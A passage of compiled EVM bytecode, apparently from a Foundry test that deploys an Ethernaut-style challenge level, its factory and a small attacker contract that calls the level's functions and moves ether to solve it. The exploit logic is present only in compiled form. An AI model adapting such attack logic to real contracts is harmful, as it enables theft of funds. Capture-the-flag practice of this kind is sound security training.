5afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620021fe565b90505f81848560405160200162000acd92919062002250565b60408051601f198184030181529082905262000aed9291602001620022fe565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002330565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620021fe565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200197e90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002344565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002344565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bde565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200237e565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fb7565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040517f45b560780000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906345b56078906044015f604051808303815f87803b158015620010ff575f80fd5b505af115801562001112573d5f803e3d5ffd5b50506021546040515f93506701aa535d3d0c000092506001600160a01b03909116906200113f9062001b00565b6001600160a01b0390911681526020016040518091039082f09050801580156200116b573d5f803e3d5ffd5b509050806001600160a01b0316639e5faafc6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011a7575f80fd5b505af1158015620011ba573d5f803e3d5ffd5b5050602054602154620011e79350620011e192506001600160a01b039182169116620014d8565b62001a20565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200122d9062002344565b80601f01602080910402602001604051908101604052809291908181526020018280546200125b9062002344565b8015620012aa5780601f106200128057610100808354040283529160200191620012aa565b820191905f5260205f20905b8154815290600101906020018083116200128c57829003601f168201915b5050505050815260200190600101906200120d565b5f80604051620012cf9062001b0e565b604051809103905ff080158015620012e9573d5f803e3d5ffd5b5090505f604051620012fb9062001b1c565b604051809103905ff08015801562001315573d5f803e3d5ffd5b508483604051620013269062001b2a565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001360573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013bf575f80fd5b505af1158015620013d2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014bf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200146b5790505b5050505050815250508152602001906001019062001401565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001534575f80fd5b505af115801562001547573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015a5575f80fd5b505af1158015620015b8573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200161c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001645919081019062002058565b90506001815111156200165d57600191505062001662565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016ab9062002344565b80601f0160208091040260200160405190810160405280929190818152602001828054620016d99062002344565b8015620017285780601f10620016fe5761010080835404028352916020019162001728565b820191905f5260205f20905b8154815290600101906020018083116200170a57829003601f168201915b5050505050815260200190600101906200168b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001794575f80fd5b505af1158015620017a7573d5f803e3d5ffd5b5050602054602154620017d49350620017ce92506001600160a01b039182169116620014d8565b62001a9f565b565b6008545f9060ff1615620017ee575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200187d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018a391906200239c565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019178243620023b4565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019d59086908690600401620023ca565b5f60405180830381865afa158015620019f0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a199190810190620023fb565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a85575f80fd5b505afa15801562001a98573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a6e565b610b74806200243283390190565b61031e8062002fa683390190565b610ae580620032c483390190565b611e7a8062003da983390190565b610daa8062005c2383390190565b6001600160a01b0381168114620011e7575f80fd5b5f805f6060848603121562001b60575f80fd5b833562001b6d8162001b38565b9250602084013562001b7f8162001b38565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bd25783516001600160a01b03168352928401929184019160010162001bab565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c185762001c1862001bde565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c4a5762001c4a62001bde565b604052919050565b5f67ffffffffffffffff82111562001c6e5762001c6e62001bde565b50601f01601f191660200190565b5f6020828403121562001c8d575f80fd5b813567ffffffffffffffff81111562001ca4575f80fd5b8201601f8101841362001cb5575f80fd5b803562001ccc62001cc68262001c52565b62001c1e565b81815285602083850101111562001ce1575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d1a57818101518382015260200162001d00565b50505f910152565b5f815180845262001d3b81602086016020860162001cfe565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e0357603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dec57605f1988850301835262001dd984865162001d22565b948d01949350918c019160010162001dba565b505050968901969350509087019060010162001d74565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ed157888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ebb5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e77565b5096890196945050509086019060010162001e39565b509098975050505050505050565b5f6020828403121562001ef0575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f5057603f1988860301845262001f3d85835162001d22565b9450928501929085019060010162001f1e565b5092979650505050505050565b5f6020828403121562001f6e575f80fd5b813562001a198162001b38565b5f806040838503121562001f8d575f80fd5b823562001f9a8162001b38565b9150602083013562001fac8162001b38565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fe75762001fe762001bde565b5060051b60200190565b5f6200200162001cc68462001c52565b905082815283838301111562002015575f80fd5b62001a1983602083018462001cfe565b5f82601f83011262002035575f80fd5b62001a198383516020850162001ff1565b8051620020538162001b38565b919050565b5f60208083850312156200206a575f80fd5b825167ffffffffffffffff8082111562002082575f80fd5b818501915085601f83011262002096575f80fd5b8151620020a762001cc68262001fcb565b81815260059190911b83018401908481019088831115620020c6575f80fd5b8585015b83811015620021c757805185811115620020e2575f80fd5b86016060818c03601f19011215620020f8575f80fd5b6200210262001bf2565b888201518781111562002113575f80fd5b8201603f81018d1362002124575f80fd5b898101516200213762001cc68262001fcb565b81815260059190911b8201604001908b8101908f83111562002157575f80fd5b6040840193505b82841015620021795783518252928c0192908c01906200215e565b845250505060408201518781111562002190575f80fd5b620021a08d8b8386010162002025565b8a83015250620021b36060830162002046565b6040820152845250918601918601620020ca565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016625762001662620021d4565b5f602082840312156200220f575f80fd5b815167ffffffffffffffff81111562002226575f80fd5b8201601f8101841362002237575f80fd5b620022488482516020840162001ff1565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200228981600585016020880162001cfe565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022c881600a84016020880162001cfe565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200231181846020880162001cfe565b8351908301906200232781836020880162001cfe565b01949350505050565b602081525f62001a19602083018462001d22565b600181811c908216806200235957607f821691505b6020821081036200237857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200238f575f80fd5b815162001a198162001b38565b5f60208284031215620023ad575f80fd5b5051919050565b80820180821115620016625762001662620021d4565b604081525f620023de604083018562001d22565b8281036020840152620023f2818562001d22565b95945050505050565b5f602082840312156200240c575f80fd5b815167ffffffffffffffff81111562002423575f80fd5b62002248848285016200202556fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610afa8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61070b806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b506106ee8061001d5f395ff3fe60806040526004361061007c575f3560e01c8063b9966e561161004c578063b9966e5614610130578063c960174e14610161578063e97dcb6214610180578063f7edf09914610194575f80fd5b80630c3d9fed14610087578063690da2b2146100bc5780638da5cb5b146100f35780639db31d7714610111575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506001546100a790600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b3480156100c7575f80fd5b506002546100db906001600160a01b031681565b6040516001600160a01b0390911681526020016100b3565b3480156100fe575f80fd5b505f546100db906001600160a01b031681565b34801561011c575f80fd5b506001546100db906001600160a01b031681565b34801561013b575f80fd5b5061015f5f805473ffffffffffffffffffffffffffffffffffffffff191633179055565b005b34801561016c575f80fd5b5061015f61017b3660046103e0565b6101a8565b34801561018b575f80fd5b5061015f610264565b34801561019f575f80fd5b5061015f61030a565b6002546040517f9e4b2e47000000000000000000000000000000000000000000000000000000008152600481018390526001600160a01b0390911690639e4b2e47906024016020604051808303815f875af1158015610209573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022d91906103f7565b1561026157600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b1790555b50565b5f546001600160a01b03163314610279575f80fd5b5f546001600160a01b0316320361028e575f80fd5b60018054600160a01b900460ff161515146102a7575f80fd5b66038d7ea4c68000471180156102e357505f80546040516001600160a01b03909116919066038d7ea4c680009082818181858883f11593505050505b15610308576001805473ffffffffffffffffffffffffffffffffffffffff1916321790555b565b30604051610317906103d3565b6001600160a01b039091168152602001604051809103905ff080158015610340573d5f803e3d5ffd5b506002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604080517f4cbb817f0000000000000000000000000000000000000000000000000000000081529051634cbb817f916004808201925f9290919082900301818387803b1580156103bb575f80fd5b505af11580156103cd573d5f803e3d5ffd5b50505050565b61029b8061041e83390190565b5f602082840312156103f0575f80fd5b5035919050565b5f60208284031215610407575f80fd5b81518015158114610416575f80fd5b939250505056fe608060405242600255348015610013575f80fd5b5060405161029b38038061029b83398101604081905261003291610056565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610083565b5f60208284031215610066575f80fd5b81516001600160a01b038116811461007c575f80fd5b9392505050565b61020b806100905f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033a264697066735822122004ec1558c477d8267989f4fb6808aa81eb4b010971406c03a1d94f9d1699324264736f6c63430008180033a2646970667358221220105d34f0cc0aead0758e547b8b298108adba52702863b6da9843e318c1b1021664736f6c63430008180033608060405260405161031e38038061031e83398101604081905261002291610046565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610073565b5f60208284031215610056575f80fd5b81516001600160a01b038116811461006c575f80fd5b9392505050565b61029e806100805f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80639e5faafc14610038578063a46916a714610042575b5f80fd5b610040610070565b005b5f54610054906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f8054604080517fb9966e5600000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263b9966e569260048084019382900301818387803b1580156100c8575f80fd5b505af11580156100da573d5f803e3d5ffd5b50505f8054604080517ff7edf09900000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216945063f7edf0999350600480820193929182900301818387803b158015610138575f80fd5b505af115801561014a573d5f803e3d5ffd5b50505f546040517fc960174e0000000000000000000000000000000000000000000000000000000081524260048201526001600160a01b03909116925063c960174e91506024015f604051808303815f87803b1580156101a8575f80fd5b505af11580156101ba573d5f803e3d5ffd5b50505f80546040516001600160a01b0390911693509091506603e871b540c0009082818181858883f193505050501580156101f7573d5f803e3d5ffd5b505f8054604080517fe97dcb6200000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263e97dcb629260048084019382900301818387803b158015610250575f80fd5b505af1158015610262573d5f803e3d5ffd5b5050505056fea26469706673582212201cc147123fb82924ccfb3585f4f0f5cf527281961de1d76f39568baace2e90d564736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b